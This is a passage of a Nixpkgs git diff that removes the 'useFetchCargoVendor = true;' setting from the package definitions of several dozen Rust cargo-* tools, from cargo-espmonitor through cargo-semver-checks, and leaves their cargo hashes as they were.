index d0d356bd47f5..3834b7a06d70 100644
--- a/pkgs/by-name/ca/cargo-espmonitor/package.nix
+++ b/pkgs/by-name/ca/cargo-espmonitor/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "hWFdim84L2FfG6p9sEf+G5Uq4yhp5kv1ZMdk4sMHa+4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Fb/xJLhmInYOanJC6XGsxxsCJNCLvHDe04+wtvXMecE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-expand/package.nix b/pkgs/by-name/ca/cargo-expand/package.nix
index 33a053d1e725..483fe45e6bcd 100644
--- a/pkgs/by-name/ca/cargo-expand/package.nix
+++ b/pkgs/by-name/ca/cargo-expand/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7j8i0wvbbAFPNgHamy+lybQpz1ht+n90oidVGSXP6MA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-e6K97VUsCYx56Y9r7QPVBV3eMwWnjEhZoEKpmuKmkJk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-feature/package.nix b/pkgs/by-name/ca/cargo-feature/package.nix
index ca7a1c465d42..0daa76cb1a87 100644
--- a/pkgs/by-name/ca/cargo-feature/package.nix
+++ b/pkgs/by-name/ca/cargo-feature/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-UPpqkz/PwoMaJan9itfldjyTmZmiMb6PzCyu9Vtjj1s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-leciPTXFQ/O/KISBz4BV5KYIdld4UmiFE2yR8MoUVu0=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/cargo-features-manager/package.nix b/pkgs/by-name/ca/cargo-features-manager/package.nix
index 6a6b75b46561..83c44c0c7562 100644
--- a/pkgs/by-name/ca/cargo-features-manager/package.nix
+++ b/pkgs/by-name/ca/cargo-features-manager/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NjXJCrLsX52M7CBg8wdgwlK3gaGiznfdRGz7BAbVVPk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1/bCyScvWQYeGZRitvksww4uvrzhifRBYcYPgGY2GRo=";
 
   meta = {
diff --git a/pkgs/by-name/ca/cargo-flamegraph/package.nix b/pkgs/by-name/ca/cargo-flamegraph/package.nix
index 63c8b27b195e..9594c34b6a8a 100644
--- a/pkgs/by-name/ca/cargo-flamegraph/package.nix
+++ b/pkgs/by-name/ca/cargo-flamegraph/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-JGUABNCZhDyTTrjFCRsT+wkuAeZn9mCHCI6XgGYEl7Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FjLjEoorbZC2WZ424w2aFLmd4dIfy5s13sR8BSRVNIo=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ makeWrapper ];
diff --git a/pkgs/by-name/ca/cargo-fund/package.nix b/pkgs/by-name/ca/cargo-fund/package.nix
index 3e9900440ce1..f2ce9d403ae5 100644
--- a/pkgs/by-name/ca/cargo-fund/package.nix
+++ b/pkgs/by-name/ca/cargo-fund/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8mnCwWwReNH9s/gbxIhe7XdJRIA6BSUKm5jzykU5qMU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9NozPJzQIuF2KHaT6t4qBU0qKtBbM05mHxzmHlU3Dr4=";
 
   # The tests need a GitHub API token.
diff --git a/pkgs/by-name/ca/cargo-fuzz/package.nix b/pkgs/by-name/ca/cargo-fuzz/package.nix
index b238b5f05e47..17a9e955b738 100644
--- a/pkgs/by-name/ca/cargo-fuzz/package.nix
+++ b/pkgs/by-name/ca/cargo-fuzz/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PC36O5+eB+yVLpz+EywBDGcMAtHl79FYwUo/l/JL8hM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lyw7UJrGBL1+ATma3TWBpgjstSHGYMWAyTiq1nJNhgE=";
 
   doCheck = false;
diff --git a/pkgs/by-name/ca/cargo-geiger/package.nix b/pkgs/by-name/ca/cargo-geiger/package.nix
index fbbf57bd70e9..692aa2380836 100644
--- a/pkgs/by-name/ca/cargo-geiger/package.nix
+++ b/pkgs/by-name/ca/cargo-geiger/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OW/LOZUCGOIl7jeWnzt4SXTo3gplJx/wbC21S1TdZx0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aDgpEfX0QRkQD6c4ant6uSN18WLHVnZISRr7lyu9IzA=";
 
   buildInputs = [
diff --git a/pkgs/by-name/ca/cargo-generate/package.nix b/pkgs/by-name/ca/cargo-generate/package.nix
index d40732cb6538..6dded548e030 100644
--- a/pkgs/by-name/ca/cargo-generate/package.nix
+++ b/pkgs/by-name/ca/cargo-generate/package.nix
@@ -21,8 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-iOZCSd6jF1OF7ScjpsMlvMjsFHyg6QJJ6qk0OxrARho=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoPatches = [
     (fetchpatch {
       name = "git2-version.patch";
diff --git a/pkgs/by-name/ca/cargo-gra/package.nix b/pkgs/by-name/ca/cargo-gra/package.nix
index 1c68d1b237cd..c7ed4cddb920 100644
--- a/pkgs/by-name/ca/cargo-gra/package.nix
+++ b/pkgs/by-name/ca/cargo-gra/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JbBcpp/E3WlQrwdxMsbSdmIEnDTQj/1XDwAWJsniRu0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B32GCIlFngfubwZqxMneAO24hhJ1zOgW6gXMHzgr89A=";
 
   meta = {
diff --git a/pkgs/by-name/ca/cargo-guppy/package.nix b/pkgs/by-name/ca/cargo-guppy/package.nix
index f7ee8b1fc56e..0fc950dec036 100644
--- a/pkgs/by-name/ca/cargo-guppy/package.nix
+++ b/pkgs/by-name/ca/cargo-guppy/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-LWU1yAD/f9w5m522vcKP9D2JusGkwzvfGSGstvFGUpk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nNbCQ/++gm2S+xFbE5t9U9gQR8E2fVWE4kh73wgbAwQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-hack/package.nix b/pkgs/by-name/ca/cargo-hack/package.nix
index df9814680e37..f3087364c5e1 100644
--- a/pkgs/by-name/ca/cargo-hack/package.nix
+++ b/pkgs/by-name/ca/cargo-hack/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AO4bB+aqAzGxFyPhuwaEQDAbL+fCIWY2rv3QFdBAq7s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fWKrHo5WdeEhnPxATbZ9Cjv+aiSxOh0pRDeeHHDk8u4=";
 
   # some necessary files are absent in the crate version
diff --git a/pkgs/by-name/ca/cargo-hakari/package.nix b/pkgs/by-name/ca/cargo-hakari/package.nix
index 0dc2048eccb9..8f18dc31b309 100644
--- a/pkgs/by-name/ca/cargo-hakari/package.nix
+++ b/pkgs/by-name/ca/cargo-hakari/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+IjtK4kSm2vThgIxDsBLpoh0j9cDhhEqI6Hr2BmC7hc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-yAk0hMB3OEaaIuNqiJtl1K5P19pOGtiyt4cvU+Nb814=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/ca/cargo-hf2/package.nix b/pkgs/by-name/ca/cargo-hf2/package.nix
index 6f7960a834ae..d5fb5f493c0b 100644
--- a/pkgs/by-name/ca/cargo-hf2/package.nix
+++ b/pkgs/by-name/ca/cargo-hf2/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0o3j7YfgNNnfbrv9Gppo24DqYlDCxhtsJHIhAV214DU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cRliZegzRKmoGIE96pyVuNySA2L6l+imcTHbZBXXiz4=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-i18n/package.nix b/pkgs/by-name/ca/cargo-i18n/package.nix
index bf367aee4074..eb083c628491 100644
--- a/pkgs/by-name/ca/cargo-i18n/package.nix
+++ b/pkgs/by-name/ca/cargo-i18n/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-azwQlXsoCgNB/TjSBBE+taUR1POBJXaPnS5Sr+HVR90=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7rqfJ3l4qdVcmfMZgZpL8qomnytiOSqWtFFZFeB047I=";
 
   # Devendor gettext in the gettext-sys crate. The paths to the bin/lib/include folders have to be specified because
diff --git a/pkgs/by-name/ca/cargo-info/package.nix b/pkgs/by-name/ca/cargo-info/package.nix
index 4225e0690651..554623f411db 100644
--- a/pkgs/by-name/ca/cargo-info/package.nix
+++ b/pkgs/by-name/ca/cargo-info/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MrkYGUd1jsAqIVYWe7YDZaq7NPv/mHQqLS7GFrYYIo8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C8BIgJeUPvFzf0LTBMZ3oyE0eWh5HH6aobhUAHBxxKU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-insta/package.nix b/pkgs/by-name/ca/cargo-insta/package.nix
index 0cb1c621bf54..125be7eb06f1 100644
--- a/pkgs/by-name/ca/cargo-insta/package.nix
+++ b/pkgs/by-name/ca/cargo-insta/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8yFbf0MF5zDuMqG1AsCOvQhJc8D8cBH1WqCGulcXVH0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-atPSV+dZgywgS+9M0LRtMqH4JP4UpYGjb2hyGAEwhkw=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/cargo-lambda/package.nix b/pkgs/by-name/ca/cargo-lambda/package.nix
index b9f81bbd6287..51332c99dd0e 100644
--- a/pkgs/by-name/ca/cargo-lambda/package.nix
+++ b/pkgs/by-name/ca/cargo-lambda/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iYfm7/XbLThtEo+zSW8sn7T6XEhzyiVKy6/cisshc+Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mCD3Szbl5BXknTWJhm2xlcIV0aKczsEi8yRDA4erTYc=";
 
   nativeCheckInputs = [ cacert ];
diff --git a/pkgs/by-name/ca/cargo-leptos/package.nix b/pkgs/by-name/ca/cargo-leptos/package.nix
index 21527f9b2e59..30abec3f9be7 100644
--- a/pkgs/by-name/ca/cargo-leptos/package.nix
+++ b/pkgs/by-name/ca/cargo-leptos/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SjpfM963Zux+H5QhK8prvDLuI56fP5PqX5gcVbthRx4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Da9ei4yAOfhSQmQgrUDZCmMeJXTfGnYhI1+L0JT/ECs=";
 
   # https://github.com/leptos-rs/cargo-leptos#dependencies
diff --git a/pkgs/by-name/ca/cargo-license/package.nix b/pkgs/by-name/ca/cargo-license/package.nix
index cbdec8edaff9..6eb3ee2be7fc 100644
--- a/pkgs/by-name/ca/cargo-license/package.nix
+++ b/pkgs/by-name/ca/cargo-license/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qwyWj0vPWQOZYib2ZZutX25a4wwnG1kFAiRCWqGyVms=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6UMmYbLgMg+wLDsL63f5OvWbtHtDXo0mByz6OZp1lsw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-limit/package.nix b/pkgs/by-name/ca/cargo-limit/package.nix
index b977ddefb39e..cf678be55579 100644
--- a/pkgs/by-name/ca/cargo-limit/package.nix
+++ b/pkgs/by-name/ca/cargo-limit/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-joWDB9fhCsYVZFZdr+Gfm4JaRlm5kj+CHp34Sx5iQYk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+qXw4svnftjVL7STl1mPfJiYQQkmitHsNm1JT+0HSEk=";
 
   passthru = {
diff --git a/pkgs/by-name/ca/cargo-llvm-cov/package.nix b/pkgs/by-name/ca/cargo-llvm-cov/package.nix
index 3445b35b6245..953dfab0139e 100644
--- a/pkgs/by-name/ca/cargo-llvm-cov/package.nix
+++ b/pkgs/by-name/ca/cargo-llvm-cov/package.nix
@@ -49,7 +49,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ln -s ${./Cargo.lock} Cargo.lock
   '';
 
-  useFetchCargoVendor = true;
   cargoLock = {
     lockFile = ./Cargo.lock;
     outputHashes = {
diff --git a/pkgs/by-name/ca/cargo-llvm-lines/package.nix b/pkgs/by-name/ca/cargo-llvm-lines/package.nix
index 027ff4b7c512..b3ae73df305e 100644
--- a/pkgs/by-name/ca/cargo-llvm-lines/package.nix
+++ b/pkgs/by-name/ca/cargo-llvm-lines/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qKdxnISussiyp1ylahS7qOdMfOGwJnlbWrgEHf/L2y0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ppuc6Dx3Y4JJ8doEJPCbwnD1+dQSLRuPdWfab+3q2Ug=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-local-registry/package.nix b/pkgs/by-name/ca/cargo-local-registry/package.nix
index f4b30c6b4250..23ec03a06316 100644
--- a/pkgs/by-name/ca/cargo-local-registry/package.nix
+++ b/pkgs/by-name/ca/cargo-local-registry/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hG6OSi0I7Y6KZacGR9MCC+e7YcDcvaVfR3LSOjqz23A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YJWUur+Ydb3a8vmx4TL5rIsMisjnKb0m+a9O/zeTnC4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-lock/package.nix b/pkgs/by-name/ca/cargo-lock/package.nix
index 949d6ecfd317..2f36a9775a4a 100644
--- a/pkgs/by-name/ca/cargo-lock/package.nix
+++ b/pkgs/by-name/ca/cargo-lock/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Ui/Z4syhSxemV1R815R+yytDwN2YJBcHGscUYUp/0zE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WdIKTTP5Z+rSq97BSdsx9Hqc46jEF0XjgeZ23BDSeRk=";
 
   buildFeatures = [ "cli" ];
diff --git a/pkgs/by-name/ca/cargo-machete/package.nix b/pkgs/by-name/ca/cargo-machete/package.nix
index 4f4a47448051..1002f816d414 100644
--- a/pkgs/by-name/ca/cargo-machete/package.nix
+++ b/pkgs/by-name/ca/cargo-machete/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0vlau3leAAonV5E9NAtSqw45eKoZBzHx0BmoEY86Eq8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Oht5V9+DS4vDfd9jcxiMG/gySY5IzhbTY+Ozod4kjko=";
 
   # tests require internet access
diff --git a/pkgs/by-name/ca/cargo-make/package.nix b/pkgs/by-name/ca/cargo-make/package.nix
index 71ef2c04fe79..36ce40c2cab3 100644
--- a/pkgs/by-name/ca/cargo-make/package.nix
+++ b/pkgs/by-name/ca/cargo-make/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hrUd4J15cDyd78BVVzi8jiDqJI1dE35WUdOo6Tq8gH8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ml/OW4S4fIMLmm7vVPgsXB7CigDYORGFpN3jZRp1f8c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-mobile2/package.nix b/pkgs/by-name/ca/cargo-mobile2/package.nix
index c14cb9982ec1..2c3f535ebec6 100644
--- a/pkgs/by-name/ca/cargo-mobile2/package.nix
+++ b/pkgs/by-name/ca/cargo-mobile2/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
   # https://discourse.nixos.org/t/difficulty-using-buildrustpackage-with-a-src-containing-multiple-cargo-workspaces/10202
   # sourceRoot = "${src.name}/tooling/cli";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zSUT2zClpSlBDu6vgMv4TZn9Jp0Ych6EQKo1AwkSMXU=";
 
   preBuild = ''
diff --git a/pkgs/by-name/ca/cargo-modules/package.nix b/pkgs/by-name/ca/cargo-modules/package.nix
index 1e44adb6cc0e..67e5ae25613f 100644
--- a/pkgs/by-name/ca/cargo-modules/package.nix
+++ b/pkgs/by-name/ca/cargo-modules/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MJswCl5eJjKarB2ufeNLQL0ZPDaRPpX6OGOqszG+a0g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-N1Bj0fqyirp51DNsrZEtRGOSUPS1YNbk+O3kdboQ+TQ=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/cargo-mommy/package.nix b/pkgs/by-name/ca/cargo-mommy/package.nix
index c257f8d67a9c..ed60cc850e52 100644
--- a/pkgs/by-name/ca/cargo-mommy/package.nix
+++ b/pkgs/by-name/ca/cargo-mommy/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2WR6xUYL/bLgZlI4ADbPAtdLq0y4MoVP8Loxdu/58Wc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B0hPxw/8T5x6E0dwPIHoPChLx4K2ORvPEUDYHncZrPE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-msrv/package.nix b/pkgs/by-name/ca/cargo-msrv/package.nix
index 72528f1ab810..e43ccf791534 100644
--- a/pkgs/by-name/ca/cargo-msrv/package.nix
+++ b/pkgs/by-name/ca/cargo-msrv/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-dvCKi40c9PmM05MK+0VGWxny0ZA+9YO/M3zmv5Qv6b0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cIyoGFIxtX4/Dn4RbtMB75WQj+UO44V182u6C5smgSw=";
 
   passthru = {
diff --git a/pkgs/by-name/ca/cargo-mutants/package.nix b/pkgs/by-name/ca/cargo-mutants/package.nix
index f97aa1bdf8a7..248f4b88da42 100644
--- a/pkgs/by-name/ca/cargo-mutants/package.nix
+++ b/pkgs/by-name/ca/cargo-mutants/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aTGuCkPk1GYUlRXCdNIy94d5zHxUPpNNFN4aapf8s0U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Vrh8N29EWIwVgAR6aEQcnkbrs/+llCx+GfiV0WlZOqw=";
 
   # too many tests require internet access
diff --git a/pkgs/by-name/ca/cargo-ndk/package.nix b/pkgs/by-name/ca/cargo-ndk/package.nix
index cbd1db25b326..f12b8c7c631f 100644
--- a/pkgs/by-name/ca/cargo-ndk/package.nix
+++ b/pkgs/by-name/ca/cargo-ndk/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-tzjiq1jjluWqTl+8MhzFs47VRp3jIRJ7EOLhUP8ydbM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Kt4GLvbGK42RjivLpL5W5z5YBfDP5B83mCulWz6Bisw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-nextest/package.nix b/pkgs/by-name/ca/cargo-nextest/package.nix
index e9576697c014..c076336f3b1c 100644
--- a/pkgs/by-name/ca/cargo-nextest/package.nix
+++ b/pkgs/by-name/ca/cargo-nextest/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OtCFehXzcdE8kBUkDg8y5ygTOtH2eP5aMzTpugDSg/E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nrRq5ET++jplx5argN04Ax+HTE6VqvBhnSsS/ZFNYr8=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/ca/cargo-outdated/package.nix b/pkgs/by-name/ca/cargo-outdated/package.nix
index d76f344a63a6..8569926ce368 100644
--- a/pkgs/by-name/ca/cargo-outdated/package.nix
+++ b/pkgs/by-name/ca/cargo-outdated/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ey11ANSflWGnCsn6M9GupgC4DE5mWww6vw5pK0CFdLo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PYlVXGfitsjEGiw07L5b+L8pfxvtkHshIjTXeuPUTdk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-pgo/package.nix b/pkgs/by-name/ca/cargo-pgo/package.nix
index d4a837ba2b16..bdcfb22a7569 100644
--- a/pkgs/by-name/ca/cargo-pgo/package.nix
+++ b/pkgs/by-name/ca/cargo-pgo/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FmZllibhesZY/8kIMnx4VfQrYF6+/cai7Gozda/3bMY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uOwWCSXxxnMCFS0+aFPUHSiSWSwNZPtL8NJVCCCDzAc=";
 
   # Integration tests do not run in Nix build environment due to needing to
diff --git a/pkgs/by-name/ca/cargo-pio/package.nix b/pkgs/by-name/ca/cargo-pio/package.nix
index 87f61454344d..b15395640078 100644
--- a/pkgs/by-name/ca/cargo-pio/package.nix
+++ b/pkgs/by-name/ca/cargo-pio/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-YH2CPb3uBlPncd+KkP25xhCVvDB7HDxJuSqWOJ1LT3k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/WBhgPyd5hR3DBYvV8pd7uZb6FeD3yiDe3wOKtyFRG8=";
 
   buildAndTestSubdir = "cargo-pio";
diff --git a/pkgs/by-name/ca/cargo-play/package.nix b/pkgs/by-name/ca/cargo-play/package.nix
index 83a620f87305..58583b970e7d 100644
--- a/pkgs/by-name/ca/cargo-play/package.nix
+++ b/pkgs/by-name/ca/cargo-play/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Z5zcLQYfQeGybsnt2U+4Z+peRHxNPbDriPMKWhJ+PeA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kgdg2GZmFGMua3eYo30tpDTFBKncbaiONJf+ocfMaBk=";
 
   # these tests require internet access
diff --git a/pkgs/by-name/ca/cargo-profiler/package.nix b/pkgs/by-name/ca/cargo-profiler/package.nix
index 0874582ea0ab..a29ec0272e66 100644
--- a/pkgs/by-name/ca/cargo-profiler/package.nix
+++ b/pkgs/by-name/ca/cargo-profiler/package.nix
@@ -25,7 +25,6 @@ buildRustPackage rec {
     repo = pname;
   };
 
-  useFetchCargoVendor = true;
   inherit cargoHash;
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-public-api/package.nix b/pkgs/by-name/ca/cargo-public-api/package.nix
index 204189edcb52..27dd7fe4ea8a 100644
--- a/pkgs/by-name/ca/cargo-public-api/package.nix
+++ b/pkgs/by-name/ca/cargo-public-api/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-g0kaJ3HPFeS5PvWQfUTanxCgm9sduW9nBx/N61kt3ZI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jQx4VCarfbdTXOE/GAAzxeXf7xVwEaXDPhw6ywBR3wA=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-raze/package.nix b/pkgs/by-name/ca/cargo-raze/package.nix
index 380e4a737475..db779368f20b 100644
--- a/pkgs/by-name/ca/cargo-raze/package.nix
+++ b/pkgs/by-name/ca/cargo-raze/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage {
   # See #310673 and #310125 for similar fixes
   cargoPatches = [ ./rustc-serialize-fix.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-unx2XGi16aWvw5dceAuReMEMLGcO/JwYpx9Ewvrw3KE=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-rdme/package.nix b/pkgs/by-name/ca/cargo-rdme/package.nix
index 5594a8602be1..f9aeb0d10436 100644
--- a/pkgs/by-name/ca/cargo-rdme/package.nix
+++ b/pkgs/by-name/ca/cargo-rdme/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lVu9w8l3+SeqiMoQ8Bjoslf7tWz49jrrE4g/pDU1axI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-W800jepxDv6OjbcxRKphAnDU2OuBGGGSLELe8gAfTr8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-readme/package.nix b/pkgs/by-name/ca/cargo-readme/package.nix
index bb50a2f5d795..3ce7f2fa56eb 100644
--- a/pkgs/by-name/ca/cargo-readme/package.nix
+++ b/pkgs/by-name/ca/cargo-readme/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-FFWHADATEfvZvxGwdkj+eTVoq7pnPuoUAhMGTokUkMs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-24D+ZcMGZN175LZNcNW8F5IsStk4au4xB0ZFe95EjPk=";
 
   # disable doc tests
diff --git a/pkgs/by-name/ca/cargo-release/package.nix b/pkgs/by-name/ca/cargo-release/package.nix
index 4706aacd48e0..b546d46a03e8 100644
--- a/pkgs/by-name/ca/cargo-release/package.nix
+++ b/pkgs/by-name/ca/cargo-release/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1CHUkXjb8+wOFQWo/04KcLaJcv/dLiDYwPrSnzWucXI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ESaESon1oJAlvsv6+TIb/lLsOQmjgheQWm82Lr0mJOE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-risczero/package.nix b/pkgs/by-name/ca/cargo-risczero/package.nix
index adae9adde097..579345d9b265 100644
--- a/pkgs/by-name/ca/cargo-risczero/package.nix
+++ b/pkgs/by-name/ca/cargo-risczero/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     RECURSION_SRC_PATH = src-recursion;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r2bs1MT2jBK4ATUKyRGLEAFCHNaGnnQ4jbQOKbQbldY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-rr/package.nix b/pkgs/by-name/ca/cargo-rr/package.nix
index 87d3490e6cec..107a12e934f4 100644
--- a/pkgs/by-name/ca/cargo-rr/package.nix
+++ b/pkgs/by-name/ca/cargo-rr/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-t8pRqeOdaRVG0titQhxezT2aDjljSs//MnRTTsJ73Yo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-s3KZFntAb/q4oreJLDQ2Pnz+Oj8Ik36vYR2InY0BIBw=";
 
   passthru = {
diff --git a/pkgs/by-name/ca/cargo-run-bin/package.nix b/pkgs/by-name/ca/cargo-run-bin/package.nix
index 1e1218aa0957..ec3edf1a6674 100644
--- a/pkgs/by-name/ca/cargo-run-bin/package.nix
+++ b/pkgs/by-name/ca/cargo-run-bin/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-79DJ6j2sai1dTdcXf0qD97TCNZuGRSUobLGahoApMss=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UTdJQ/lnsYa85/xXkmgI/ByzKu3+DB3riQKGCVjF3to=";
 
   # multiple impurities in tests
diff --git a/pkgs/by-name/ca/cargo-semver-checks/package.nix b/pkgs/by-name/ca/cargo-semver-checks/package.nix
index 58b0f9441552..c6c9285c7d9b 100644
--- a/pkgs/by-name/ca/cargo-semver-checks/package.nix
+++ b/pkgs/by-name/ca/cargo-semver-checks/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-84tRzqJqvm+ermtWMCkOIUmNeH/RLf8IUTIsEVPbGQk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8VtSQZHR8L6nijcN71ey9nW5nrAsPK6qyqJSWQDz8uw=";
 
